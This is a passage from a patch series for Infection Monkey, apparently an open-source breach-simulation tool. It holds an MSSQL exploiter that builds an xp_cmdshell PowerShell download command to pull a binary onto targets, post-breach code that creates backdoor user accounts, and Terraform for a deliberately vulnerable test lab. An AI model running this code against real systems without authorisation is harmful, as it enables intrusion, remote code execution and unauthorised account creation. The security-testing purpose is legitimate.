self.is_suffix_and_prefix_too_long(): - LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already " - "exceeds required length of command.") - return False + raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command.") + elif self.command == "": return [self.prefix+self.suffix] wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) @@ -62,7 +57,7 @@ class LimitedSizePayload(Payload): return commands def get_max_sub_payload_length(self): - return self.max_length - len(self.prefix) - len(self.suffix) - 1 + return self.max_length - len(self.prefix) - len(self.suffix) def payload_is_too_long(self, command): - return len(command) > self.max_length + return len(command) >= self.max_length diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py new file mode 100644 index 000000000..af682dbff --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -0,0 +1,32 @@ +from unittest import TestCase +from payload_parsing import Payload, LimitedSizePayload + + +class TestPayload(TestCase): + def test_get_payload(self): + test_str1 = "abc" + test_str2 = "atc" + payload = Payload(command="b", prefix="a", suffix="c") + assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2 + + def test_is_suffix_and_prefix_too_long(self): + pld_fail = LimitedSizePayload("b", 2, "a", "c") + pld_success = LimitedSizePayload("b", 3, "a", "c") + assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long() + + def test_split_into_array_of_smaller_payloads(self): + test_str1 = "123456789" + pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") + array1 = pld1.split_into_array_of_smaller_payloads() + test1 = bool(array1[0] == "prefix1234suffix" and + array1[1] == "prefix5678suffix" and + array1[2] == "prefix9suffix") + + test_str2 = "12345678" + pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") + array2 = pld2.split_into_array_of_smaller_payloads() + test2 = bool(array2[0] == "prefix1234suffix" and + array2[1] == "prefix5678suffix" and len(array2) == 2) + + assert test1 and test2 + diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 692e278fb..d3f046f56 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -26,6 +26,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError __author__ = 'itamar' @@ -300,7 +301,11 @@ class InfectionMonkey(object): return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) - + except ExploitingVulnerableMachineError as exc: + LOG.error("Exception while attacking %s using %s: %s", + machine, exploiter.__class__.__name__, exc) + self.successfully_exploited(machine, exploiter) + return True except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) From 6c49cabbc2c7515a41558d976c00aa6825df6263 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 16:27:11 +0300 Subject: [PATCH 16/78] Changed string formatting to latest syntax --- monkey/infection_monkey/exploit/mssqlexec.py | 24 ++++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index fc27cc600..132103287 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -36,10 +36,10 @@ class MSSQLExploiter(HostExploiter): XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" XP_CMDSHELL_COMMAND_END = "\"" EXPLOIT_COMMAND_PREFIX = ">%(payload_file_path)s" - CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s" + EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}" + CREATE_COMMAND_SUFFIX = ">{payload_file_path}" MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ - "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')" + "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -79,11 +79,11 @@ class MSSQLExploiter(HostExploiter): return self.run_mssql_command(file_running_command) def create_temp_dir(self): - dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) + dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) self.run_mssql_command(tmp_file_creation_command) @@ -110,9 +110,9 @@ class MSSQLExploiter(HostExploiter): def remove_temp_dir(self): # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path) + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path)) self.run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(tmp_dir_removal_command) def start_monkey_server(self): @@ -133,18 +133,18 @@ class MSSQLExploiter(HostExploiter): monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - suffix = ">>%s" % self.payload_file_path + suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), prefix=prefix, suffix=suffix) def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path, - 'dst_path': dst_path} + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ + format(http_path=self.monkey_server.http_path, dst_path=dst_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) return MSSQLLimitedSizePayload(command=monkey_download_command, suffix=suffix, prefix=prefix) From ac702ffc27d9feb2d1373ae4c678d6e2c17e1145 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 16:29:08 +0300 Subject: [PATCH 17/78] Removed useless import in mssqlexec --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 132103287..9e8fdc9fb 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -8,8 +8,7 @@ import pymssql from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \ - build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError From c7798879554c3493194d77702e7be79b405009ad Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 17:22:07 +0300 Subject: [PATCH 18/78] Added prefixes to all resources --- envs/monkey_zoo/terraform/config.tf | 3 +- envs/monkey_zoo/terraform/firewalls.tf | 12 ++--- envs/monkey_zoo/terraform/monkey_zoo.tf | 64 ++++++++++++------------- 3 files changed, 40 insertions(+), 39 deletions(-) diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf index c6108865a..4f9106aae 100644 --- a/envs/monkey_zoo/terraform/config.tf +++ b/envs/monkey_zoo/terraform/config.tf @@ -5,6 +5,7 @@ provider "google" { credentials = "${file("testproject-000000-0c0b000b00c0.json")}" } locals { + resource_prefix = "" service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" monkeyzoo_project="guardicore-22050661" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index df33ed4d4..cafb0181d 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -1,5 +1,5 @@ resource "google_compute_firewall" "islands-in" { - name = "islands-in" + name = "${local.resource_prefix}islands-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" { } resource "google_compute_firewall" "islands-out" { - name = "islands-out" + name = "${local.resource_prefix}islands-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" { } resource "google_compute_firewall" "monkeyzoo-in" { - name = "monkeyzoo-in" + name = "${local.resource_prefix}monkeyzoo-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -39,7 +39,7 @@ resource "google_compute_firewall" "monkeyzoo-in" { } resource "google_compute_firewall" "monkeyzoo-out" { - name = "monkeyzoo-out" + name = "${local.resource_prefix}monkeyzoo-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -52,7 +52,7 @@ resource "google_compute_firewall" "monkeyzoo-out" { } resource "google_compute_firewall" "tunneling-in" { - name = "tunneling-in" + name = "${local.resource_prefix}tunneling-in" network = "${google_compute_network.tunneling.name}" allow { @@ -64,7 +64,7 @@ resource "google_compute_firewall" "tunneling-in" { } resource "google_compute_firewall" "tunneling-out" { - name = "tunneling-out" + name = "${local.resource_prefix}tunneling-out" network = "${google_compute_network.tunneling.name}" allow { diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index dccbf7fa8..40792672c 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -6,40 +6,40 @@ locals { } resource "google_compute_network" "monkeyzoo" { - name = "monkeyzoo" + name = "${local.resource_prefix}monkeyzoo" auto_create_subnetworks = false } resource "google_compute_network" "tunneling" { - name = "tunneling" + name = "${local.resource_prefix}tunneling" auto_create_subnetworks = false } resource "google_compute_network" "tunneling2" { - name = "tunneling2" + name = "${local.resource_prefix}tunneling2" auto_create_subnetworks = false } resource "google_compute_subnetwork" "monkeyzoo-main" { - name = "monkeyzoo-main" + name = "${local.resource_prefix}monkeyzoo-main" ip_cidr_range = "10.2.2.0/24" network = "${google_compute_network.monkeyzoo.self_link}" } resource "google_compute_subnetwork" "tunneling-main" { - name = "tunneling-main" + name = "${local.resource_prefix}tunneling-main" ip_cidr_range = "10.2.1.0/28" network = "${google_compute_network.tunneling.self_link}" } resource "google_compute_subnetwork" "tunneling2-main" { - name = "tunneling2-main" + name = "${local.resource_prefix}tunneling2-main" ip_cidr_range = "10.2.0.0/27" network = "${google_compute_network.tunneling2.self_link}" } resource "google_compute_instance_from_template" "hadoop-2" { - name = "hadoop-2" + name = "${local.resource_prefix}hadoop-2" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -56,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { } resource "google_compute_instance_from_template" "hadoop-3" { - name = "hadoop-3" + name = "${local.resource_prefix}hadoop-3" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -71,7 +71,7 @@ resource "google_compute_instance_from_template" "hadoop-3" { } resource "google_compute_instance_from_template" "elastic-4" { - name = "elastic-4" + name = "${local.resource_prefix}elastic-4" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -86,7 +86,7 @@ resource "google_compute_instance_from_template" "elastic-4" { } resource "google_compute_instance_from_template" "elastic-5" { - name = "elastic-5" + name = "${local.resource_prefix}elastic-5" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -102,7 +102,7 @@ resource "google_compute_instance_from_template" "elastic-5" { /* Couldn't find ubuntu packages for required samba version (too old). resource "google_compute_instance_from_template" "sambacry-6" { - name = "sambacry-6" + name = "${local.resource_prefix}sambacry-6" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -118,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { /* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP). resource "google_compute_instance_from_template" "sambacry-7" { - name = "sambacry-7" + name = "${local.resource_prefix}sambacry-7" source_instance_template = "${local.default_ubuntu}" boot_disk { initialize_params { @@ -134,7 +134,7 @@ resource "google_compute_instance_from_template" "sambacry-7" { */ resource "google_compute_instance_from_template" "shellshock-8" { - name = "shellshock-8" + name = "${local.resource_prefix}shellshock-8" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -149,7 +149,7 @@ resource "google_compute_instance_from_template" "shellshock-8" { } resource "google_compute_instance_from_template" "tunneling-9" { - name = "tunneling-9" + name = "${local.resource_prefix}tunneling-9" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -168,7 +168,7 @@ resource "google_compute_instance_from_template" "tunneling-9" { } resource "google_compute_instance_from_template" "tunneling-10" { - name = "tunneling-10" + name = "${local.resource_prefix}tunneling-10" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -187,7 +187,7 @@ resource "google_compute_instance_from_template" "tunneling-10" { } resource "google_compute_instance_from_template" "tunneling-11" { - name = "tunneling-11" + name = "${local.resource_prefix}tunneling-11" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -202,7 +202,7 @@ resource "google_compute_instance_from_template" "tunneling-11" { } resource "google_compute_instance_from_template" "sshkeys-11" { - name = "sshkeys-11" + name = "${local.resource_prefix}sshkeys-11" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -217,7 +217,7 @@ resource "google_compute_instance_from_template" "sshkeys-11" { } resource "google_compute_instance_from_template" "sshkeys-12" { - name = "sshkeys-12" + name = "${local.resource_prefix}sshkeys-12" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -233,7 +233,7 @@ resource "google_compute_instance_from_template" "sshkeys-12" { /* resource "google_compute_instance_from_template" "rdpgrinder-13" { - name = "rdpgrinder-13" + name = "${local.resource_prefix}rdpgrinder-13" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -248,7 +248,7 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" { */ resource "google_compute_instance_from_template" "mimikatz-14" { - name = "mimikatz-14" + name = "${local.resource_prefix}mimikatz-14" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -263,7 +263,7 @@ resource "google_compute_instance_from_template" "mimikatz-14" { } resource "google_compute_instance_from_template" "mimikatz-15" { - name = "mimikatz-15" + name = "${local.resource_prefix}mimikatz-15" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -278,7 +278,7 @@ resource "google_compute_instance_from_template" "mimikatz-15" { } resource "google_compute_instance_from_template" "mssql-16" { - name = "mssql-16" + name = "${local.resource_prefix}mssql-16" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -294,7 +294,7 @@ resource "google_compute_instance_from_template" "mssql-16" { /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { - name = "upgrader-17" + name = "${local.resource_prefix}upgrader-17" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -313,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { */ resource "google_compute_instance_from_template" "weblogic-18" { - name = "weblogic-18" + name = "${local.resource_prefix}weblogic-18" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -328,7 +328,7 @@ resource "google_compute_instance_from_template" "weblogic-18" { } resource "google_compute_instance_from_template" "weblogic-19" { - name = "weblogic-19" + name = "${local.resource_prefix}weblogic-19" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -343,7 +343,7 @@ resource "google_compute_instance_from_template" "weblogic-19" { } resource "google_compute_instance_from_template" "smb-20" { - name = "smb-20" + name = "${local.resource_prefix}smb-20" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -358,7 +358,7 @@ resource "google_compute_instance_from_template" "smb-20" { } resource "google_compute_instance_from_template" "scan-21" { - name = "scan-21" + name = "${local.resource_prefix}scan-21" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -373,7 +373,7 @@ resource "google_compute_instance_from_template" "scan-21" { } resource "google_compute_instance_from_template" "scan-22" { - name = "scan-22" + name = "${local.resource_prefix}scan-22" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -388,7 +388,7 @@ resource "google_compute_instance_from_template" "scan-22" { } resource "google_compute_instance_from_template" "struts2-23" { - name = "struts2-23" + name = "${local.resource_prefix}struts2-23" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -403,7 +403,7 @@ resource "google_compute_instance_from_template" "struts2-23" { } resource "google_compute_instance_from_template" "struts2-24" { - name = "struts2-24" + name = "${local.resource_prefix}struts2-24" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -418,7 +418,7 @@ resource "google_compute_instance_from_template" "struts2-24" { } resource "google_compute_instance_from_template" "island-linux-250" { - name = "island-linux-250" + name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" tags = ["island", "linux", "ubuntu16"] source_instance_template = "${local.default_ubuntu}" @@ -439,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { } resource "google_compute_instance_from_template" "island-windows-251" { - name = "island-windows-251" + name = "${local.resource_prefix}island-windows-251" machine_type = "n1-standard-2" tags = ["island", "windows", "windowsserver2016"] source_instance_template = "${local.default_windows}" From 52a95935c873b8f367e05e69a1eb4c66b2546e13 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 3 Sep 2019 21:17:13 +0300 Subject: [PATCH 19/78] Added new user communication PBA and ZT test, not working yet WIP! --- monkey/common/data/post_breach_consts.py | 1 + monkey/common/data/zero_trust_consts.py | 18 +++- .../post_breach/actions/add_user.py | 40 +++++++- .../actions/communicate_as_new_user.py | 98 +++++++++++++++++++ monkey/infection_monkey/post_breach/pba.py | 3 +- .../post_breach/post_breach_handler.py | 3 +- .../cc/services/config_schema.py | 8 ++ .../telemetry/processing/post_breach.py | 17 +++- .../communicate_as_new_user.py | 35 +++++++ 9 files changed, 214 insertions(+), 9 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py index 8262757ca..dee4f67d0 100644 --- a/monkey/common/data/post_breach_consts.py +++ b/monkey/common/data/post_breach_consts.py @@ -1,2 +1,3 @@ +POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user" POST_BREACH_BACKDOOR_USER = "Backdoor user" POST_BREACH_FILE_EXECUTION = "File execution" diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 3cf9cda92..9a452d706 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -30,6 +30,7 @@ TEST_SCHEDULED_EXECUTION = u"scheduled_execution" TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline" TEST_SEGMENTATION = u"segmentation" TEST_TUNNELING = u"tunneling" +TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user" TESTS = ( TEST_SEGMENTATION, TEST_MALICIOUS_ACTIVITY_TIMELINE, @@ -38,7 +39,8 @@ TESTS = ( TEST_MACHINE_EXPLOITED, TEST_DATA_ENDPOINT_HTTP, TEST_DATA_ENDPOINT_ELASTIC, - TEST_TUNNELING + TEST_TUNNELING, + TEST_COMMUNICATE_AS_NEW_USER ) RECOMMENDATION_DATA_TRANSIT = u"data_transit" @@ -47,13 +49,15 @@ RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour" RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" RECOMMENDATION_SEGMENTATION = u"segmentation" RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" +RECOMMENDATION_USERS_MAC_POLICIES = u"users_mac_policies" RECOMMENDATIONS = { RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.", - RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible." + RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", + RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC only.", } POSSIBLE_STATUSES_KEY = u"possible_statuses" @@ -140,6 +144,16 @@ TESTS_MAP = { PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] }, + TEST_COMMUNICATE_AS_NEW_USER: { + TEST_EXPLANATION_KEY: u"The Monkey tried create a new user and communicate with the internet from it.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey was able to cause a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", + STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." + }, + RECOMMENDATION_KEY: RECOMMENDATION_USERS_MAC_POLICIES, + PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, } EVENT_TYPE_ISLAND = "island" diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index ce05371a6..b217196d3 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -17,6 +17,40 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, class BackdoorUser(PBA): def __init__(self): - super(BackdoorUser, self).__init__(POST_BREACH_BACKDOOR_USER, - linux_cmd=' '.join(LINUX_COMMANDS), - windows_cmd=WINDOWS_COMMANDS) + linux_cmds, windows_cmds = BackdoorUser.get_commands_to_add_user( + WormConfiguration.user_to_add, WormConfiguration.remote_user_pass) + super(BackdoorUser, self).__init__( + POST_BREACH_BACKDOOR_USER, + linux_cmd=' '.join(linux_cmds), + windows_cmd=windows_cmds) + + @staticmethod + def get_commands_to_add_user(username, password): + linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(password, username) + return linux_cmds, windows_cmds + + @staticmethod + def get_linux_commands_to_add_user(username): + linux_cmds = [ + 'useradd', + '-M', + '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), + '--inactive', + '0', + '-c', + 'MONKEY_USER', + username] + return linux_cmds + + @staticmethod + def get_windows_commands_to_add_user(password, username): + windows_cmds = [ + 'net', + 'user', + username, + password, + '/add', + '/ACTIVE:NO'] + return windows_cmds diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py new file mode 100644 index 000000000..63daa614c --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -0,0 +1,98 @@ +import os +import random +import string +import subprocess + +import win32api +import win32con +import win32process +import win32security + +from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from infection_monkey.post_breach.actions.add_user import BackdoorUser +from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.utils import is_windows_os + +USERNAME = "somenewuser" +PASSWORD = "N3WPa55W0rD!@12" + + +class CommunicateAsNewUser(PBA): + """ + This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People + pillar. See the relevant telemetry processing to see what findings are created. + """ + + def __init__(self): + super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER) + + def run(self): + username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + if is_windows_os(): + if not self.try_to_create_user_windows(username, PASSWORD): + return # no point to continue if failed creating the user. + + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + new_user_logon_token_handle = win32security.LogonUser( + username, + ".", # current domain + PASSWORD, + win32con.LOGON32_LOGON_BATCH, # logon type + win32con.LOGON32_PROVIDER_DEFAULT) # logon provider + + if new_user_logon_token_handle == 0: + PostBreachTelem( + self, + ("Can't logon as {} Last error: {}".format(username, win32api.GetLastError()), False) + ).send() + return # no point to continue if can't log on. + + # Using os.path is OK, as this is on windows for sure + ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") + if not os.path.exists(ping_app_path): + PostBreachTelem(self, ("{} not found".format(ping_app_path), False)).send() + return # Can't continue without ping. + + # Open process as that user: + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera + return_value_create_process = win32process.CreateProcessAsUser( + new_user_logon_token_handle, # A handle to the primary token that represents a user. + # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module + # to execute, and *lpCommandLine specifies the command line. + ping_app_path, # The name of the module to be executed. + "google.com", # The command line to be executed. + None, # Process attributes + None, # Thread attributes + True, # Should inherit handles + win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. + None, # An environment block for the new process. If this parameter is NULL, the new process + # uses the environment of the calling process. + None, # CWD. If this parameter is NULL, the new process will have the same current drive and + # directory as the calling process. + win32process.STARTUPINFO() # STARTUPINFO structure. + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + ) + + if return_value_create_process == 0: + PostBreachTelem(self, ( + "Failed to open process as user. Last error: {}".format(win32api.GetLastError()), False)).send() + return + else: + try: + linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) + linux_cmds.extend([";", "sudo", "-", username, "-c", "'ping -c 2 google.com'"]) + subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + PostBreachTelem(self, (e.output, False)).send() + return + + def try_to_create_user_windows(self, username, password): + try: + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password) + subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) + return True + except subprocess.CalledProcessError as e: + PostBreachTelem(self, ( + "Couldn't create the user '{}'. Error output is: '{}'".format(username, e.output), False)).send() + return False diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 3fb8b251f..6c6c6b8b5 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -19,7 +19,8 @@ class PBA(object): def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. - :param command: Command that will be executed on breached machine + :param linux_cmd: Command that will be executed on breached machine + :param windows_cmd: Command that will be executed on breached machine """ self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 8522f412f..7c5bea27d 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -25,8 +25,9 @@ class PostBreach(object): Executes all post breach actions. """ for pba in self.pba_list: + LOG.debug("Executing PBA: '{}'".format(pba.name)) pba.run() - LOG.info("Post breach actions executed") + LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) @staticmethod def config_to_pba_list(): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 3a7398663..67b5b519d 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -119,6 +119,14 @@ SCHEMA = { "title": "Back door user", "attack_techniques": [] }, + { + "type": "string", + "enum": [ + "CommunicateAsNewUser" + ], + "title": "Communicate as new user", + "attack_techniques": [] + }, ], }, "finger_classes": { diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 2515c2d30..c67f64f59 100644 --- 